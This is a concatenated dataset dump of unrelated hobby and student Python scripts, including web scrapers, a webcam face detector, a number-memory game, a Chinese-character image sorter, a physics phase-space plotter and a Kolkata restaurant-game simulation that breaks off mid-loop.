for x in line.strip().split()[-3:]]\n mcount = max(stat)\n if mcount <= majorgtcount:\n f_out.write(line)\n\n\nif __name__ == '__main__':\n main()\n\n\n","sub_path":"cnv_tools/filter_Ggetpy.py","file_name":"filter_Ggetpy.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"431545701","text":"#!/usr/bin/env python\n\nimport sys\nimport json\nfrom functools import reduce\nfrom multiprocessing.pool import ThreadPool\n\nimport requests\nfrom tqdm import tqdm\nfrom pandas import concat, DataFrame\n\nfrom utils import read_metadata\n\n\ndef get_mobility_report(key: str):\n ''' Reads Google's mobility report parsed by @pastelsky '''\n\n # Load data from GitHub\n url = ('https://pastelsky.github.io/covid-19-mobility-tracker'\n '/output/%s/mobility.json' % key.replace('_', '/'))\n data = json.loads(requests.get(url).text)\n\n # Remove the outer wrapper\n data = data[list(data.keys())[0]]\n\n # Get the values out of the inner wrapper\n data_ = {name: values['points'] for name, values in data.items()}\n\n # Convert each subset to a dataframe\n dfs = [DataFrame.from_dict(data_[name]).rename(columns={'value': name})\n for name in data_.keys()]\n\n # Merge all datasets together\n data = reduce(lambda df1, df2: df1.merge(df2, on='date'), dfs)\n\n # Use consistent naming convention for columns\n data.columns = map(lambda name: name[0].upper() + name[1:], data.columns)\n\n # Add key column and return\n data['Key'] = key\n first_columns = ['Date', 'Key']\n return data[first_columns + list(set(data.columns) - set(first_columns))]\n\n\ndef _get_mobility_report(key: str):\n try:\n return get_mobility_report(key)\n except:\n return DataFrame()\n\n\n# Load all available keys from metadata and output mobility report all keys\nkeys = read_metadata().Key.unique()\ndata = list(tqdm(ThreadPool(4).imap_unordered(_get_mobility_report, keys), total=len(keys)))\nconcat(data).sort_values(['Date', 'Key']).to_csv(sys.stdout, index=False)\n","sub_path":"input/fetch_mobility.py","file_name":"fetch_mobility.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"64352527","text":"from random import randint\nimport os\nfrom time import sleep\n\n\ndef limpaTela():\n if os.name == 'nt':\n os.system('cls')\n else:\n os.system('clear')\n\n\ndef verJogadores():\n if os.path.isfile('gamers.txt'):\n f = open('gamers.txt', 'r')\n for linha in f:\n linha = linha.rstrip()\n print(linha)\n f.close()\n\n\ndef cadastro(jogador):\n nome = input('Digite seu nome: ')\n\n jogador.append((nome))\n\n\ndef salvarJogador(jogador):\n f = open('gamers.txt','a')\n\n for nome in jogador:\n f.write(f' {nome} \\n')\n\n f.close()\n\n\ndef game():\n print(f'Vamos Jogar!')\n sleep(2)\n ponto = 0\n jogador = []\n sorteado = randint(0, 9)\n correta = str(sorteado)\n print(f\"O primeiro numero sorteado foi: {sorteado}\")\n x = input(\"Digite a sequencia completa: \")\n\n while x == correta:\n ponto = len(correta) - 1\n sorteado = randint(0, 9)\n correta = correta + str(sorteado)\n limpaTela()\n print(f\"O novo numero é: {sorteado}\")\n x = input(\"Digite a sequencia completa: \")\n\n print(f\"Errou! Voce ganhou {len(correta) - 1} pontos.\")\n if ponto >= 10:\n salvarJogador(jogador)\n\n cont = 'Deseja continuar? [S|N]:'\n c = input(cont)\n if c in ['s','S']:\n limpaTela()\n game()\n elif c in ['N', 'n']:\n print('GAME OVER')\n else:\n print('Opção Inválida')\n c = input(cont)\n\n\ndef main():\n menu = '''--- GAME GENIUS ---\n [1] - Cadastrar\n [2] - Ranking +10 pts \n [3] - Sair\n Escolha uma oção: '''\n\n opcao = input(menu)\n jogador = []\n\n while opcao not in ['3']:\n if opcao in ['1']:\n limpaTela()\n cadastro(jogador)\n game()\n salvarJogador(jogador)\n sleep(1)\n elif opcao in ['2']:\n limpaTela()\n verJogadores()\n sleep(3)\n limpaTela()\n elif opcao in ['3']:\n print('GAME OVER')\n\n else:\n print('Opção Inválida')\n\n opcao = input(menu)\n\n\nif __name__ == '__main__':\n main()","sub_path":"GENIUS.py","file_name":"GENIUS.py","file_ext":"py","file_size_in_byte":2106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"173577532","text":"'''\nFunctions that when used, remove duplicates from a given list, making the list\nhold only one of any given elt. If it can be optimized, will do so in the\nfuture\n'''\ndef remDup(inputList):\n newList = [] #List to be returned to the caller function.\n for inputListIndex in inputList:\n if inputListIndex not in newList:\n newList.extend([inputListIndex])\n return newList\n","sub_path":"project-euler/python/myPyFuncts/remDups.py","file_name":"remDups.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"226866763","text":"import cv2\n\ndef draw_boundary(img,classifier,scaleFactor ,minNeighbors,color,text):\n # chuyển ảnh về xám\n gray_img = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n # khởi tạo đối tượng face_detector\n face_detector = classifier.detectMultiScale(gray_img,scaleFactor,minNeighbors)\n coords = []\n for(x,y,w,h) in face_detector:\n cv2.rectangle(img, (x,y), (x+w, y+h), color, 2)\n cv2.putText(img, text, (x, y-4), cv2.FONT_HERSHEY_SIMPLEX, 0.8, color, 1, cv2.LINE_AA)\n coords = [x, y, w, h]\n return coords\n\ndef detect(img,faceCasade):\n color = {\"blue\":(255,0,0), \"red\":(0,0,255), \"green\":(0,255,0), \"white\":(255,255,255)}\n coords = draw_boundary(img, faceCasade, 1.1, 10, color['blue'], \"Face\")\n return img\n\nface_cascade = cv2.CascadeClassifier('./haarcascade_frontalface_default.xml')\n\nvideo_capture = cv2.VideoCapture(0)\n\nwhile True:\n _, img = video_capture.read()\n img = detect(img,face_cascade)\n cv2.imshow(\"face_\",img)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\nvideo_capture.release()\ncv2.destroyAllWindows()","sub_path":"code/1-open-simple-face-detection.py","file_name":"1-open-simple-face-detection.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"482920198","text":"# -*- coding: utf-8 -*-\n\nfrom selenium import webdriver\nimport time\nimport csv\nimport pickle\n\ndriver = webdriver.Chrome(executable_path = r'/usr/local/bin/chromedriver')\n\nYEAR = 2021\nwhile YEAR > 1899:\n PAUSE_TIME = 1\n MAIN_URL = f'https://www.justwatch.com/kr/%EC%98%81%ED%99%94?release_year_from={YEAR-1}&release_year_until={YEAR}'\n driver.implicitly_wait(5)\n driver.get(MAIN_URL)\n\n\n # Get scroll height\n last_height = driver.execute_script(\"return document.body.scrollHeight\")\n\n while True:\n # Scroll down to bottom \n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n \n # Wait to load page\n time.sleep(PAUSE_TIME) \n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight-50);\")\n time.sleep(PAUSE_TIME)\n \n # Calculate new scroll height and compare with last scroll height\n new_height = driver.execute_script(\"return document.body.scrollHeight\")\n\n if new_height == last_height: \n break\n\n last_height = new_height\n\n\n\n result = []\n i = 1\n while True:\n try:\n url = driver.find_elements_by_xpath(f'//*[@id=\"base\"]/div[3]/div/div/div[2]/div[1]/div/div[{i}]/a')[0].get_attribute('href')\n #print(url)\n result.append(url)\n i += 1\n except:\n break\n\n # Write Text File - links\n file_path = f'./{YEAR}_link.txt'\n with open(file_path, 'wb') as txtfile:\n pickle.dump(result, txtfile)\n \n YEAR -= 1\n\n\n\ndriver.quit()\n# with open(file_path, 'rb') as links:\n# readLink = pickle.load(links)\n# print(readLink)\n \n# print(result)\n\n# https://dev-dain.tistory.com/91\n# 어떤 홈페이지 타겟으로 크롤링을 하실 때는 반드시 해당 홈페이지의 robots.txt를 확인하고, \n# user-agent *에서 allow가 되어 있는 부분만 크롤링하도록 합시다. \n# 아직은 권고 사항 정도라서 큰 효력을 갖지는 않고, \n# 학습 용도라면 크롤링을 눈 감아주는 분위기지만 너무 어뷰징해서 트래픽 폭주하면 문제의 소지가 될 수 있습니다.\n\n\n\n\n\n\n","sub_path":"data/crawling/justwatch/justwatch_main.py","file_name":"justwatch_main.py","file_ext":"py","file_size_in_byte":2242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"397201062","text":"#!/usr/bin/env python\n#--coding: utf-8--\nimport sys,os\nif os.name == \"posix\":\n show_color=True\nelse:\n show_color=False\n\ndef make_color(msg,color=\"red\",fillchar=\"\",width=0,output=True,show_color=show_color):\n '''更改字体颜色,默认红色,并设置左右填充'''\n if not show_color:\n # 在windows上不加颜色代码\n if output:\n print(msg)\n return msg\n color_menu={\n \"red\":\"\\033[0;31m%s\\033[0m\",\n \"green\":\"\\033[0;32m%s\\033[0m\",\n \"yellow\":\"\\033[0;33m%s\\033[0m\",\n \"blue\":\"\\033[0;34m%s\\033[0m\",\n \"purple\":\"\\033[0;35m%s\\033[0m\",\n \"cyan\":\"\\033[0;36m%s\\033[0m\",\n }\n if fillchar:\n msg=color_menu[color]%(msg.center(width,fillchar))\n else:\n msg=color_menu[color]%(msg)\n\n if output:\n print(msg)\n return msg\n\n\ndef view_bar(num, total=100,ratesize=50,rate_format=\"%d%%[%s%s]\"):\n '''\n 进度条工具\n :param num: 当前位置\n :param total: 范围\n :return:\n '''\n rate_num = num*(ratesize/total)\n rate_format=\"\\r%s\"%rate_format\n r = rate_format % (num,\"=\" * int(rate_num), \" \" * (ratesize-int(rate_num)))\n print(r,end=\"\")\n\n\ndef unit_change(byte,unit=\"M\"):\n '''单位换算工具'''\n if unit.upper() == \"B\":\n byte = byte\n elif unit.upper() == \"K\":\n byte = byte/1024\n elif unit.upper() == \"M\":\n byte = byte/1024 / 1024\n elif unit.upper() == \"G\":\n byte = byte / 1024 / 1024 /1024\n elif unit.upper() == \"T\":\n byte = byte / 1024 / 1024 /1024/1024\n return byte\n","sub_path":"socket_ftp_server练习/core/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"44694825","text":"#!/usr/bin/python #Header\n\n\"\"\"Dieses Programm stellt Funktionen zum bilden der Standardabbildung\nbereit und gibt die Moeglichkeit im Phasenraum-Diagramm mit Linksklick\ndie Startbedingungen zu waehlen. \n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef positions(theta_0, p_0, n=1000):\n \"\"\"\n Dieses Programm bildet die Standardabbildung des gekickten Rotors \n auf dem Torus und gibt die Werte theta und p als Arrays zurueck.\n \"\"\"\n t = np.zeros(n); # Koordinaten-Array mit Start-\n p = np.zeros(n); # werten anlegen\n t[0] = theta_0\n p[0] = p_0 \n \n for i in np.arange(1,n): # n Werte iterativ bestimmen\n t[i] = ((t[i-1] + p[i-1]) % (2 * np.pi))\n p[i] = ((p[i-1]+K*np.sin(t[i])) + np.pi) % (2*np.pi) - np.pi\n return t, p\n\n\ndef mouse_click(event):\n \"\"\"Diese Funktion uebernimmt die Koordinaten im Diagramm bei\n Linksklick und plottet von diesen Werten ausgehend 1000 Punkte \n des gekickten Rotors\n \"\"\"\n mode = plt.get_current_fig_manager().toolbar.mode\n # Prueft ob Zoom deaktiviert ist und ob mit links geklickt wird\n if event.button == 1 and event.inaxes and mode == '':\n x, y = positions(event.xdata, event.ydata)\n plt.plot(x, y,linestyle=\"none\", marker=\".\", markersize=1)\n plt.draw()\n \n\nif __name__==\"__main__\": # Hauptprogramm\n K=2.6 # Parameter fuer Standardabbildung\n \n # Benutzerinformationen\n print (\"\"\"Waehlen Sie mit Linksklick einen Punkt im Phasenraum\"\"\"\n \"\"\"diagramm aus. Von diesem Punkt aus werden die Koordinaten fuer\"\"\"\n \"\"\" 1000 Kicks des Rotors berechnet und geplottet.\"\"\")\n \n plt.figure(1) # Einrichtung des Fensters\n plt.subplot(111) # und Einrichtung der Achsen\n plt.title(\"phase space diagram for kicked rotor\")\n plt.axis([0, 2*np.pi, -np.pi, np.pi])\n plt.xlabel(r\"$\\theta$\", fontsize=20)\n plt.ylabel(r\"$p_n$\" , fontsize=20)\n # Einrichten der Mausinteraktion und Endlosschleife\n plt.connect('button_press_event', mouse_click)\n plt.show()\n \n\n# Beobachtungen:\n\n# Mit steigendem Wert fuer den Parameter K sinken die Bereiche fuer \n# regulaere Zustaende. Zoomt man in regulaere Bereiche hinein sieht man\n# ein aehnliches Bild wie in der herausgezoomten Ansicht: Um das Zentrum\n# der regulaeren Bereiche sieht man weitere regulaere Inseln.\n\n","sub_path":"1_1_joern_vahland.py","file_name":"1_1_joern_vahland.py","file_ext":"py","file_size_in_byte":2449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"129236629","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport urllib.request\nimport urllib.parse\nfrom bs4 import BeautifulSoup\nimport ssl\nimport json\nfrom urllib.request import Request, urlopen\n\n# For ignoring SSL certificate errors\nctx = ssl.create_default_context()\nctx.check_hostname = False\nctx.verify_mode = ssl.CERT_NONE\ndef ScrapeData(url):\n # Input from the user\n # Making the website believe that you are accessing it using a Mozilla browser\n req = Request(url, headers={'User-Agent': 'Mozilla/5.0'})\n webpage = urlopen(req).read()\n # Creating a BeautifulSoup object of the HTML page for easy extraction of data.\n\n soup = BeautifulSoup(webpage, 'html.parser')\n html = soup.prettify('utf-8')\n company_json = {}\n other_details = {}\n for div in soup.findAll('div', attrs={'class': 'D(ib) Mb(2px)'}):\n for h1 in div.findAll('h1', attrs={'class': 'D(ib) Fz(16px) Lh(18px)'},recursive=False):\n company_json['COMPANY NAME'] = h1.text.strip()\n for span in soup.findAll('span',\n attrs={'class': 'Trsdu(0.3s) Trsdu(0.3s) Fw(b) Fz(36px) Mb(-4px) D(b)'\n }):\n company_json['CURRENT PRICE'] = span.text.strip()\n for div in soup.findAll('div', attrs={'class': 'D(ib) Va(t)'}):\n for span in div.findAll('span', recursive=False):\n company_json['CURRENT GROWTH'] = span.text.strip()\n for td in soup.findAll('td', attrs={'data-test': 'PREV_CLOSE-value'}):\n for span in td.findAll('span', recursive=False):\n other_details['PREVIOUS CLOSE VALUE'] = span.text.strip()\n for td in soup.findAll('td', attrs={'data-test': 'OPEN-value'}):\n for span in td.findAll('span', recursive=False):\n other_details['OPEN'] = span.text.strip()\n for td in soup.findAll('td', attrs={'data-test': 'BID-value'}):\n for span in td.findAll('span', recursive=False):\n other_details['BID'] = span.text.strip()\n for td in soup.findAll('td', attrs={'data-test': 'ASK-value'}):\n for span in td.findAll('span', recursive=False):\n other_details['ASK'] = span.text.strip()\n for td in soup.findAll('td', attrs={'data-test': 'DAYS_RANGE-value'}):\n for span in td.findAll('span', recursive=False):\n other_details['DAYS RANGE'] = span.text.strip()\n for td in soup.findAll('td',\n attrs={'data-test': 'FIFTY_TWO_WK_RANGE-value'}):\n for span in td.findAll('span', recursive=False):\n other_details['52 WEEK RANGE'] = span.text.strip()\n for td in soup.findAll('td', attrs={'data-test': 'TD_VOLUME-value'}):\n for span in td.findAll('span', recursive=False):\n other_details['TD VOL'] = span.text.strip()\n for td in soup.findAll('td',\n attrs={'data-test': 'AVERAGE_VOLUME_3MONTH-value'\n }):\n for span in td.findAll('span', recursive=False):\n other_details['AVG VOLUME 3 MONTHS'] = span.text.strip()\n for td in soup.findAll('td', attrs={'data-test': 'MARKET_CAP-value'}):\n for span in td.findAll('span', recursive=False):\n other_details['MARKET CAP'] = span.text.strip()\n for td in soup.findAll('td', attrs={'data-test': 'PE_RATIO-value'}):\n for span in td.findAll('span', recursive=False):\n other_details['PE RATIO'] = span.text.strip()\n for td in soup.findAll('td', attrs={'data-test': 'EPS_RATIO-value'}):\n for span in td.findAll('span', recursive=False):\n other_details['EPS RATIO'] = span.text.strip()\n for td in soup.findAll('td', attrs={'data-test': 'EARNINGS_DATE-value'\n }):\n other_details['EARNINGS DATE'] = []\n for span in td.findAll('span', recursive=False):\n other_details['EARNINGS DATE'].append(span.text.strip())\n for td in soup.findAll('td',\n attrs={'data-test': 'DIVIDEND_AND_YIELD-value'}):\n other_details['DIVIDEND & YIELD'] = td.text.strip()\n for td in soup.findAll('td',\n attrs={'data-test': 'EX_DIVIDEND_DATE-value'}):\n for span in td.findAll('span', recursive=False):\n other_details['EX DIVIDEND DATE'] = span.text.strip()\n for td in soup.findAll('td',\n attrs={'data-test': 'ONE_YEAR_TARGET_PRICE-value'\n }):\n for span in td.findAll('span', recursive=False):\n other_details['ONE YR PREDICTION'] = span.text.strip()\n company_json['OTHER_DETAILS'] = other_details\n with open('COMMODITY_DATA.json', 'w') as outfile:\n json.dump(company_json, outfile, indent=4)\n print (company_json)\n with open('output_file.html', 'wb') as file:\n file.write(html)\n print ('----------Extraction is complete. Data saved in your folder.----------')\n\n return company_json\n","sub_path":"DataScraper.py","file_name":"DataScraper.py","file_ext":"py","file_size_in_byte":4860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"422558354","text":"COLOUR_NAMES = {'YELLOW1': '#ffff00', 'VIOLET': '#ee82ee', 'BLUE1': '#000ff', 'DARKGREEN': '#006400',\n 'CYAN1': '#00ffff', 'DARKORANGE': 'ff8c00', 'WHITE': '#fffff', 'WHEAT': '#f5deb3', 'THISTLE': '#d8bfd8',\n 'TAN': '#d2b48c'}\n\nprint(COLOUR_NAMES)\n\ncolour = input(\"Enter a colour name: \").upper()\nwhile colour != \"\":\n if colour in COLOUR_NAMES:\n print(colour, \"is\", COLOUR_NAMES[colour])\n else:\n print(\"Invalid colour\")\n colour = input(\"Enter a colour name: \").upper()","sub_path":"workshopPart5/colourthing.py","file_name":"colourthing.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"259765369","text":"# import os\n# import cv2\n# import glob\n# import matplotlib as plt\n# import shutil\n#\n# # Setting of Directories for Image Transferring\n# img_dir = 'C:/Users/user/Downloads/Segment2/Segment2/00030762442170551684.jpg'\n# final_dir = 'C:/Users/user/Downloads/Segment2/label/2'\n# os.mkdir(final_dir, mode = 0o777)\n# img = cv2.imread(img_dir)\n# os.chdir(final_dir)\n# filename = '0.jpg'\n# shutil.move(img_dir,final_dir)\n# cv2.imshow('image',img)\n#\n# # Prompt for chinese character\n#\n# char_input = input(\"Please enter a Chinese Character: \")\n# # if character input matches with a character in the dictionary, move that image file to the designated folder\n# # else if character input does not match with any character in the dictionary, add new character to dictionary, create a new directory, then move that image file to the designated folder\n#\n# # Creation of Dictionary for Chinese Characters\n# Dict_Chinese = {}\n#\n# str = '我'\n# print(str)\n# Dict_Chinese[str] = 0\n#\n# str2 = '与'\n# print(str2)\n# Dict_Chinese[str2] = 1\n# print(Dict_Chinese)\n#\n# list_all = Dict_Chinese.keys()\n# print(list_all)\n\n# print('发' in list_all)\n\n\"\"\"LOOP VERSION\"\"\"\n\n# #import the library opencv\n# import cv2\n# #globbing utility.\n# import glob\n# import matplotlib as plt\n# import matplotlib.image as mpimg\n# #select the path\n# path = \"C:/Users/user/Downloads/Segment2/Segment2/*.jpg\"\n# for file in glob.glob(path):\n# print(file)\n# a = cv2.imread(file)\n# print(a)\n# # %%%%%%%%%%%%%%%%%%%%%\n# #conversion numpy array into rgb image to show\n# c = cv2.cvtColor(a, cv2.COLOR_BGR2RGB)\n# cv2.imshow('Color image', c)\n# #wait for 1 second\n# cv2.waitKey(5000)\n# #destroy the window\n# cv2.destroyAllWindows()\n\n#import the library opencv\nimport cv2\n#globbing utility.\nimport glob\n#matplolib\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\n#utils\nimport os\nimport shutil\nimport random\nimport json\n# Chinese Character Dictionary\n# d = {'我': \"0\", '与': \"1\", '相': \"2\", '祖': \"3\", '田': \"4\", '九': \"5\", '十': \"6\", '二': \"7\", '团': \"8\", '.': \"9\",\n# '不': \"13\", '是': \"14\", '一': \"15\", '问': \"16\", '丰': \"17\", '手': \"18\",\n# '读': \"21\", '五': '22', '方': '23', '午': '24', '周': '25', '围': '26', '砌': '27', '有': '28', '故': '29', '反': '30',\n# '事': '31',\n# '了': '33', ',': '34', '饭': '35',\n# '吃': '37', '西': '39', '下': '40', '闹': '42', '怕': '43', '芸': '44', '累': '45',\n# 'blank': '46', '从': '48', '讨': '52', '百': '53', '己': '54', '挤': '55', '时': '56', '间': '57',\n# '过': '58', '夜': '59', '外': '60', '卖': '61', '耍': '63', '饮': '64', '们': '65',\n# '至': '66', '男': '67', '父': '69', '这': '70', '伯': '71', '法': '72', '但': '76',\n# '见': '77', '访': '78', '妈': '79', '分': '81', '互': '82', '区': '83', '防': '85',\n# '饿': '87', '书': '88', '装': '89', '亇': '91', '白': '93', '茫': '94',\n# '亮': '95', '又': '96', '力': '97', '荤': '98', '干': '100', '造': '101',\n# '好': '102'}\n#9, s, s, s, 13, ...,17, 18, s, s,\n#21, 22, 23, 24,s,...\n#35, s, 37,s,39,40,s, ..., 47, 48, s\n#s, s, 52..., 61, s, 62...,67, s,68...,72, s,s,s, 76...79,s\n#80...83,s,85,s,87,88,89,s,91,s,93...,98,s,100\n\n#Chinese Dictionary\nwith open('chinese_dictionary.json') as json_file:\n d = json.load(json_file)\n\ncharacter_list = d.keys()\n\n#select the path\npath = \"C:/Users/user/Downloads/Segment2/Segment2/45767165028323741714.jpg\"\n\nfor file in glob.glob(path):\n print(file)\n a = mpimg.imread(file)\n print(a)\n # %%%%%%%%%%%%%%%%%%%%%\n #conversion numpy array into rgb image to show\n c = cv2.cvtColor(a, cv2.COLOR_BGR2RGB)\n plt.axis(\"off\")\n plt.imshow(c)\n plt.show()\n #Chinese Character Input + Feedback\n char_input = input(\"Please enter a Chinese Character: \")\n if char_input in character_list:\n print('Yes')\n print('file',file)\n final_dir = 'C:/Users/user/Downloads/Segment2/label/'+str(d[char_input])+'/'\n # filename = str(random.randint(0,9))+ str(random.randint(0,9))+ str(random.randint(0,9))+ str(random.randint(0,9))+ str(random.randint(0,9))+'.jpg'\n # final_dir = final_dir+filename\n shutil.move(path,final_dir)\n else:\n print('No')\n key_input = input(\"Please enter the key number: \")\n final_dir = 'C:/Users/user/Downloads/Segment2/label/'+str(key_input)+'/'\n # filename = str(random.randint(0,9))+ str(random.randint(0,9))+ str(random.randint(0,9))+ str(random.randint(0,9))+ str(random.randint(0,9))+'.jpg'\n os.mkdir(final_dir, mode=0o777)\n os.chdir(final_dir)\n shutil.move(path,final_dir)\n d[char_input] = [key_input]\n print(d)\nwith open(\"C:/Users/user/PycharmProjects/ChineseCharacterClassification/chinese_dictionary.json\", \"w\") as outfile:\n json.dump(d, outfile)\njson_object = json.dumps(d, indent=4)\n\n# Dict_Chinese = {}\n# str = '我'\n# # print(str)\n# Dict_Chinese[str] = 0\n# str2 = '与'\n# # print(str2)\n# Dict_Chinese[str2] = 1\n# print(Dict_Chinese)\n","sub_path":"chinesecharacteroganiser.py","file_name":"chinesecharacteroganiser.py","file_ext":"py","file_size_in_byte":5064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"611411348","text":"# -*- coding: utf-8 -*-\n\n# Nicolas, 2020-03-20\n\nfrom __future__ import absolute_import, print_function, unicode_literals\nfrom gameclass import Game,check_init_game_done\nfrom spritebuilder import SpriteBuilder\nfrom players import Player\nfrom sprite import MovingSprite\nfrom ontology import Ontology\nfrom itertools import chain\nimport pygame\nimport glo\n\nimport random \nimport numpy as np\nimport sys\n\nfrom probleme import distManhattan\nfrom PathSplicing import SplicePathManager\nfrom KolkataPath import KolkataPathManager, IdlePathManager\nfrom Strategy import RandomRestau, Tetu, MeanRegression, WrongStochasticChoice, StochasticChoice, Idle\n\nimport math\n \n# ---- ---- ---- ---- ---- ----\n# ---- Main ----\n# ---- ---- ---- ---- ---- ----\n\ngame = Game()\n\ndef init(_boardname=None, _fps=60):\n global player,game\n # pathfindingWorld_MultiPlayer4\n name = _boardname if _boardname is not None else 'kolkata_6_10'\n game = Game('Cartes/' + name + '.json', SpriteBuilder)\n game.O = Ontology(True, 'SpriteSheet-32x32/tiny_spritesheet_ontology.csv')\n game.populate_sprite_names(game.O)\n game.fps = _fps#240#5 # frames per second\n game.mainiteration()\n game.mask.allow_overlaping_players = True\n #player = game.player\n \ndef main(_m_ite=5, _map='kolkata_6_10', _nbPlayers=20, _nbRestaus=20, _nbTeams=0, _strats=[], _fps=5, _effectifs=[], _fastmode=False):\n\n #for arg in sys.argv:\n m_ite = _m_ite # default # Kolkata\n if _fastmode:\n iterations=23\n else:\n iterations = 60#20 # default\n if len(sys.argv) == 2:\n iterations = int(sys.argv[1])\n m_ite = int(sys.argv[2])\n print (\"Iterations: \")\n print (iterations)\n print(\"Nb rounds:\")\n print(m_ite)\n\n init(_map, (_fps/20) * _nbPlayers)\n # init()\n \n \n \n\n \n #-------------------------------\n # Initialisation\n #-------------------------------\n nbLignes = game.spriteBuilder.rowsize\n nbColonnes = game.spriteBuilder.colsize\n print(\"lignes\", nbLignes)\n print(\"colonnes\", nbColonnes)\n \n \n players = [o for o in game.layers['joueur']]\n nbPlayers = min(_nbPlayers, len(players))\n \n \n # on localise tous les états initiaux (loc du joueur)\n initStates = [o.get_rowcol() for o in game.layers['joueur']]\n print (\"Init states:\", initStates)\n \n \n # on localise tous les objets ramassables (les restaurants)\n goalStates = [o.get_rowcol() for o in game.layers['ramassable']]\n print (\"Goal states:\", goalStates)\n nbRestaus = min(_nbRestaus, len(goalStates))\n \n # on localise tous les murs\n wallStates = [w.get_rowcol() for w in game.layers['obstacle']]\n #print (\"Wall states:\", wallStates)\n \n # on liste toutes les positions permises\n allowedStates = [(x,y) for x in range(nbLignes) for y in range(nbColonnes)\\\n if (x,y) not in (wallStates + goalStates)] \n \n\n # on cree une structure qui habritera les infos des joueurs\n players_data = {j:{} for j in range(nbPlayers)}\n\n # Initialisation des stratégies et des gains\n # Et des équipes !\n nbTeams = _nbTeams\n teams = {}\n if nbTeams == 0:\n \"\"\" Random setup \"\"\"\n strategies = [RandomRestau, Tetu, MeanRegression, WrongStochasticChoice, StochasticChoice]\n # teams = {strat.__str__():[] for strat in strategies}\n print(teams)\n for j in range(nbPlayers):\n strat = (random.choice(strategies))\n players_data[j]['strat'] = strat(nbRestaus)\n players_data[j][\"gain\"] = 0\n if str(players_data[j]['strat']) in teams.keys():\n teams[str(players_data[j]['strat'])].append(j)\n else:\n teams[str(players_data[j]['strat'])] = [j]\n \"\"\"\"\"\"\n else:\n \"\"\" Multiple Teams setup \"\"\"\n # players_per_team = int(nbPlayers/nbTeams)\n players_placed = 0\n for cptTeams in range(nbTeams):\n strat = _strats[cptTeams]\n teams['Team '+str(cptTeams+1)+' : ' + strat.__str__()] = []\n\n for j in range(players_placed, players_placed + _effectifs[cptTeams]):\n players_data[j]['strat'] = strat(nbRestaus)\n players_data[j][\"gain\"] = 0\n teams['Team '+str(cptTeams+1)+' : ' + strat.__str__()].append(j)\n players_placed += _effectifs[cptTeams]\n \"\"\"\"\"\"\n #==========================================================================\n # Boucle principale\n #==========================================================================\n for r in range(m_ite):\n print(\"-= Round\", r+1, \"=-\")\n # num_restau : list(num_player)\n players_on_restau = {restau:[] for restau in range(nbRestaus)}\n #-------------------------------\n # Placement aleatoire des joueurs, en évitant les obstacles\n #-------------------------------\n \n posPlayers = initStates\n\n \n for j in range(nbPlayers):\n x,y = random.choice(allowedStates)\n players[j].set_rowcol(x,y)\n game.mainiteration()\n posPlayers[j]=(x,y)\n players_data[j][\"pos\"] = posPlayers[j]\n\n\n \n \n \n #-------------------------------\n # chaque joueur choisit un restaurant\n # Initialisation des path finders\n #-------------------------------\n\n # restau=[0]*nbPlayers\n for j in range(nbPlayers):\n # c = random.randint(0,nbRestaus-1)\n # # print(c)\n # restau[j]=c\n # input(\"debug: j=\" + str(j))\n # input(\"debug: nbPlayers=\" + str(nbPlayers))\n players_data[j][\"restau\"] = players_data[j]['strat'].choice()\n # if j == 0 :\n # print(\"Player\", j, \"is going to restau n°\", players_data[j][\"restau\"])\n\n if players_data[j][\"restau\"] < 0:\n players_data[j][\"path finder\"] = IdlePathManager(\n players[j].get_rowcol())\n else:\n players_data[j][\"path finder\"] = KolkataPathManager(\n players[j].get_rowcol(), \n goalStates[players_data[j][\"restau\"]], \n distManhattan, \n (game.screen.get_width()/game.spriteBuilder.spritesize, \n game.screen.get_height()/game.spriteBuilder.spritesize), \n wallStates)\n\n # print(j, \"is going to\", goalStates[players_data[j][\"restau\"]])\n\n \n #-------------------------------\n # Boucle principale de déplacements \n #-------------------------------\n \n \n for i in range(iterations):\n \n for j in range(nbPlayers): # on fait bouger chaque joueur séquentiellement\n ## Boost performances, but the game gets wierd\n if posPlayers[j] == goalStates[players_data[j][\"restau\"]] and _fastmode:\n continue\n old_row,old_col = posPlayers[j]\n if not _fastmode:\n players_data[j][\"path finder\"].set_currPos((old_row,old_col))\n # x_inc,y_inc = random.choice([(0,1),(0,-1),(1,0),(-1,0)])\n # next_row = row+x_inc\n # next_col = col+y_inc\n # and ((next_row,next_col) not in posPlayers)\n if _fastmode:\n next_row, next_col = players_data[j][\"path finder\"].get_end().etat\n else:\n next_row, next_col = players_data[j][\"path finder\"].pop_step().etat\n\n if ((next_row,next_col) not in wallStates) and next_row>=0 and next_row<=19 and next_col>=0 and next_col<=19:\n players[j].set_rowcol(next_row,next_col)\n # print (\"pos :\", j, next_row,next_col)\n game.mainiteration()\n \n col=next_col\n row=next_row\n posPlayers[j]=(row,col)\n \n \n \n \n # si on est à l'emplacement d'un restaurant, on s'arrête\n if (row,col) == goalStates[players_data[j][\"restau\"]] and 